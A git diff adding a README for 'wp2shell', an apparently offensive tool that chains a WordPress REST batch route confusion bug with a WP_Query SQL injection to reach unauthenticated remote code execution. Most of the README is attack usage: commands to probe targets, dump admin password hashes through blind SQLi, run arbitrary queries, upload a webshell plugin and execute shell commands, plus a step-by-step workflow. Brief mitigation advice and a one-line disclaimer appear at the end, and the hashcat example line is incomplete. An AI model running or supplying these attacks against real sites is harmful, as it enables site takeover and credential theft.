diff --git a/README.md b/README.md index fb95fb9..8632dca 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,192 @@ -# wordpressTOWN +# wp2shell by: ek0ms savi0r +**Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)** + +`wp2shell` is a single-file Python exploit for a critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in `WP_Query` to achieve **unauthenticated remote code execution** on vulnerable WordPress installations. + +| Detail | Info | +|--------|------| +| **CVEs** | CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (`author__not_in` SQLi) | +| **Affected** | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 | +| **Patched** | 6.9.5, 7.0.2 | +| **Auth Required** | None — unauthenticated | +| **CVSS** | Critical (RCE chain) | +| **Discovered By** | Adam Kues (Assetnote / Searchlight Cyber) | +| **Dependencies** | Python 3.8+ — **standard library only** | + +--- + +## How It Works + +The exploit chains two bugs in WordPress core: + +1. **CVE-2026-60137 — SQL Injection** – When `author__not_in` is passed as a **string** instead of an array, WordPress skips the `is_array()` sanitisation guard and interpolates the raw value into a `NOT IN (...)` SQL clause. + +2. **CVE-2026-63030 — Batch Route Confusion** – The `/wp-json/batch/v1` endpoint builds parallel `$matches` and `$validation` arrays. A malformed sub-request is appended to `$validation` but not `$matches`, causing a +1 index shift. Sub-request *i* gets dispatched with sub-request *i+1*'s handler. + +**Chained together**: A `POST /wp/v2/posts` request carrying an inner `GET /wp/v2/users` request with an `author_exclude` string bypasses both the method allow-list and input sanitisation. The string reaches `WP_Query` as `author__not_in` and gets interpolated into SQL — giving you **unauthenticated blind SQL injection**. + +From there, the tool can: +- Extract the administrator password hash +- Authenticate as admin (once the hash is cracked) +- Upload a malicious plugin +- Execute arbitrary system commands + +--- + +## Features + +| Feature | Description | +|---------|-------------| +| **Vulnerability Check** | Safe time-delay probe — reads no data, changes nothing | +| **Data Extraction** | Blind SQL injection with binary-search optimisation for efficient extraction | +| **User Hash Dump** | Extract `user_login` and `user_pass` hashes from `wp_users` | +| **Remote Code Execution** | Authenticate as admin, upload a webshell plugin, execute commands | +| **Interactive Shell** | Persistent command execution session | +| **Colour Output** | Clear visual feedback for scan results | +| **No Dependencies** | Uses only Python's standard library | + +--- + +## Installation + +```bash +git clone https://git.churchofmalware.org/ek0mssavi0r/wordpressTOWN.git +cd wordpressTOWN +chmod +x wp2shell.py +``` + +That's it. No third-party packages required. + +--- + +## Usage + +``` +./wp2shell.py [command] [options] +``` + +### Interactive Mode (Menu-Driven) + +```bash +./wp2shell.py http://target.com +``` + +Launches an interactive menu with all functionality available via numbered options. + +### Commands + +#### `check` — Confirm Vulnerability (Safe) + +Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing. + +```bash +./wp2shell.py http://target.com check +``` + +#### `read` — Extract Data (Blind SQL Injection) + +Extracts information from the database using time-based blind SQL injection. + +```bash +# Server fingerprint (version, database, user) +./wp2shell.py http://target.com read + +# Extract user logins and password hashes +./wp2shell.py http://target.com read --users + +# Extract database name +./wp2shell.py http://target.com read --database + +# Extract MySQL version +./wp2shell.py http://target.com read --version + +# Custom SQL query +./wp2shell.py http://target.com read --query "SELECT @@version" +``` + +#### `shell` — Remote Code Execution + +**Requires valid administrator credentials.** The SQL injection can recover the password hash, but you must supply the recovered plaintext password. + +```bash +# Execute a single command +./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id" + +# Execute a single command (short form) +./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami +``` + +--- + +## Options + +| Option | Description | +|--------|-------------| +| `--users` | Extract `user_login` and `user_pass` from `wp_users` | +| `--database` | Extract the current database name | +| `--version` | Extract the MySQL version | +| `--query "SQL"` | Execute a custom SQL query (blind extraction) | +| `--user USER` | Admin username for RCE | +| `--password PASS` | Admin password for RCE (plaintext, recovered via SQLi) | +| `--cmd CMD` | Command to execute via the webshell | + +--- + +## Example Workflow + +```bash +# 1. Check if the target is vulnerable +./wp2shell.py https://example.com check + +# 2. Extract admin password hashes +./wp2shell.py https://example.com read --users + +# 3. Crack the hash offline (using hashcat, john, etc.) +# hashcat -m 400 /path/to/wordlist.txt + +# 4. Execute a command with the recovered password +./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id" +``` + +--- + +## Affected Versions + +| Branch | Affected | Fixed | +|--------|----------|-------| +| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 | +| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 | +| 6.8.x | 6.8.0 – 6.8.5 (SQLi only, no RCE) | 6.8.6 | + +Versions before 6.9.0 are **not** affected by the full RCE chain. + +--- + +## Detection & Mitigation + +**For Defenders:** +- Update to **6.9.5**, **7.0.2**, or later immediately +- Cloudflare WAF customers are automatically protected +- Wordfence customers have firewall rules +- Monitor for `POST /wp-json/batch/v1` requests with nested `requests` bodies +- A `404` on the batch route doesn't always mean "patched" — it can also mean a WAF/CDN is blocking anonymous REST API access + +--- + +## Legal Disclaimer + +> **This tool is for educational and authorised security testing purposes only.** + +--- + +## Credits + +- **Discovery**: Adam Kues (Assetnote / Searchlight Cyber) +- **CVE-2026-60137** (SQLi): TF1T, dtro, haongo +- **CVE-2026-63030** (Batch route confusion): Adam Kues + +--- + +*For more details on the vulnerability, see the [Searchlight Cyber research blog](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/).* +``` \ No newline at end of file